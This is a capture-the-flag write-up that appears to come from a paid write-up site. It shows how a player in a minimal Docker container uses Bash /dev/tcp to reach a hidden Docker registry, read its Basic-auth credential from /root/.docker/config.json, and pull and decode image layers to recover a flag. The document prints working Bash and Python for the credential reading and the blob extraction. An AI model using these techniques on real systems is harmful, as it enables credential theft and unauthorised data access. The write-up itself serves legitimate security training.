$ cat writeup.md…
$ cat writeup.md…
avitoctf
Task: A root shell in a deliberately minimal Docker container must reach a hidden adjacent service without normal networking tools. Solution: Bash /dev/tcp exposes an authenticated registry whose FastAPI image layers contain the target file.
Reconnaissance confirms bees control a huge botnet; the player has persistence in one infected container; administrators removed all diagnostic and networking tools; honey badgers dig until victory.
The challenge provided SSH access as bot to a short-lived infected container. The objective was to investigate the surrounding container infrastructure and recover the flag without standard diagnostic or network clients.
An interactive SSH PTY eventually opened a Bash 5.2 prompt. Bash variables and pathname expansion established that the shell was already container root and that almost every normal utility was absent:
printf 'BASH=%s UID=%s EUID=%s\n' "$BASH_VERSION" "$UID" "$EUID" printf '%s\n' /bin/* /sbin/* /usr/bin/* /usr/sbin/* 2>/dev/null
The only actual executables were:
/bin/base64 /bin/bash /sbin/docker-init
Commands such as id, ls, cat, curl, ssh, Python, and BusyBox were unavailable. Bash built-ins, glob expansion, input redirection, /proc, and Bash's /dev/tcp support were therefore the intended toolbox.
/proc/self/status showed UID/EUID 0, seccomp mode 2, and ordinary Docker-like effective capabilities. Mount information showed an overlay root filesystem and standard container pseudo-filesystems, but no Docker socket, management socket, host root mount, or writable cgroup escape path. There were also no useful jobs, services, SUID tools, or extra binaries. Root inside this container was the starting point, not a privilege-escalation goal.
The container address changed on each boot and belonged to a /26. Its current address appeared in /etc/hosts beside the hostname botnet. Across sessions, the intended HTTP service was consistently one IPv4 address below the current container address.
The following uses only Bash built-ins to derive that address and issue a raw request:
my= while read -r ip name rest; do [[ $name == botnet ]] && my=$ip done < /etc/hosts prefix=${my%.*} last=${my##*.} srv=$prefix.$((last-1)) exec 3<>/dev/tcp/$srv/5000 printf 'GET / HTTP/1.0\r\nHost: registry:5000\r\nConnection: close\r\n\r\n' >&3 while IFS= read -r -t 3 line <&3; do printf '%s\n' "$line" done exec 3>&- 3<&-
GET / returned an empty 200 OK. The important response header was:
Docker-Distribution-Api-Version: registry/2.0
This identified the service as a Docker Registry v2 rather than a conventional web application. Requests to /v2/ and /v2/_catalog returned 401 Unauthorized with a Basic-auth challenge.
Bash globbing revealed /root/.docker/config.json. Its contents could be read without cat:
while IFS= read -r line || [[ -n $line ]]; do printf '%s\n' "$line" done < /root/.docker/config.json
The registry:5000 entry contained an auth field. Its Base64 value is directly suitable for the HTTP Authorization: Basic header; the credential itself is intentionally redacted here. The supplied SSH credential did not authenticate to the registry.
This extracts the field at runtime without embedding it in the script:
auth= while IFS= read -r line || [[ -n $line ]]; do if [[ $line == *'"auth"'* ]]; then value=${line#*:} value=${value#*\"} auth=${value%%\"*} fi done < /root/.docker/config.json
A reusable raw HTTP helper made authenticated registry requests possible:
registry_get() { path=$1 exec 3<>/dev/tcp/$srv/5000 || return printf 'GET %s HTTP/1.0\r\n' "$path" >&3 printf 'Host: registry:5000\r\n' >&3 printf 'Authorization: Basic %s\r\n' "$auth" >&3 printf 'Accept: application/vnd.docker.distribution.manifest.v2+json\r\n' >&3 printf 'Connection: close\r\n\r\n' >&3 while IFS= read -r -t 4 line <&3; do printf '%s\n' "$line" done exec 3>&- 3<&- } registry_get '/v2/_catalog?n=1000'
The catalog contained three repositories:
{"repositories":["express","fastapi","flask"]}
Tags were dynamically generated for each challenge boot. A tag had to be queried and used during the same SSH session; copying a stale tag from an earlier session produced a failed manifest lookup.
tag= exec 3<>/dev/tcp/$srv/5000 printf 'GET /v2/fastapi/tags/list HTTP/1.0\r\n' >&3 printf 'Host: registry:5000\r\nAuthorization: Basic %s\r\n' "$auth" >&3 printf 'Connection: close\r\n\r\n' >&3 while IFS= read -r -t 4 line <&3; do if [[ $line == *tags* ]]; then value=${line#*\[\"} tag=${value%%\"*} fi done exec 3>&- 3<&- registry_get "/v2/fastapi/manifests/$tag"
The schema-v2 manifest listed its layer descriptors in application order. The interesting small layers were:
| Size | Digest | Recovered path |
|---|---|---|
| 356 | sha256:3ce590638acce65a9bc03abed076e8728ea446cfadf5cd426063151cae69e456 | app/main.py |
| 171 | sha256:6d96f9e4ae61621a9ff9b8947393f4777879a218f55d293c0e14c740f9834ade | app/flag.txt (decoy) |
| 185 | sha256:556580f9b35b0b72b144ee11e0ec1a30476505af00b9ac7ff1001bca06d102d5 | app/flag.txt (final content) |
app/main.py simply read flag.txt and returned it from the FastAPI root route. Running the image was unnecessary because the registry already exposed every filesystem layer.
/dev/tcpBinary HTTP responses could not safely be held in Bash variables. The available /bin/base64 encoded each complete response for copying back to the analyst host:
blob64() { digest=$1 printf '\n=== BLOB64 %s ===\n' "$digest" exec 4<>/dev/tcp/$srv/5000 || return printf 'GET /v2/fastapi/blobs/%s HTTP/1.0\r\n' "$digest" >&4 printf 'Host: registry:5000\r\nAuthorization: Basic %s\r\n' "$auth" >&4 printf 'Connection: close\r\n\r\n' >&4 /bin/base64 <&4 exec 4>&- 4<&- } blob64 'sha256:3ce590638acce65a9bc03abed076e8728ea446cfadf5cd426063151cae69e456' blob64 'sha256:6d96f9e4ae61621a9ff9b8947393f4777879a218f55d293c0e14c740f9834ade' blob64 'sha256:556580f9b35b0b72b144ee11e0ec1a30476505af00b9ac7ff1001bca06d102d5'
After saving the output as capture.txt, this host-side extractor decodes each raw HTTP response, removes its headers, decompresses the gzip body, and inspects the tar members:
#!/usr/bin/env python3 import base64 import gzip import io import pathlib import re import tarfile text = pathlib.Path("capture.txt").read_text() parts = re.split(r"^=== BLOB64 (sha256:[0-9a-f]+) ===\n", text, flags=re.M) for i in range(1, len(parts), 2): digest, block = parts[i:i + 2] encoded = [] for line in block.splitlines(): if re.fullmatch(r"[A-Za-z0-9+/=]+", line): encoded.append(line) else: break response = base64.b64decode("".join(encoded)) headers, body = response.split(b"\r\n\r\n", 1) if b" 200 OK\r\n" not in headers + b"\r\n": raise RuntimeError(f"blob request failed: {digest}") tar_data = gzip.decompress(body) with tarfile.open(fileobj=io.BytesIO(tar_data)) as archive: print(f"[{digest}]") for member in archive.getmembers(): print(member.name) if member.isfile(): data = archive.extractfile(member).read() print(data.decode("utf-8", "replace"))
The earlier app/flag.txt layer contained the confirmed decoy avito{NOT_FLAG! Contact ADMINS}. The later 185-byte layer wrote the same path again and contained avito{REDACTED}.
Docker constructs an image root filesystem by applying manifest layers from first to last. When a later layer supplies the same pathname as an earlier layer, the later file is what appears in the final merged filesystem. Therefore the second app/flag.txt superseded the decoy; treating every layer as equally current would select the wrong value.
$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar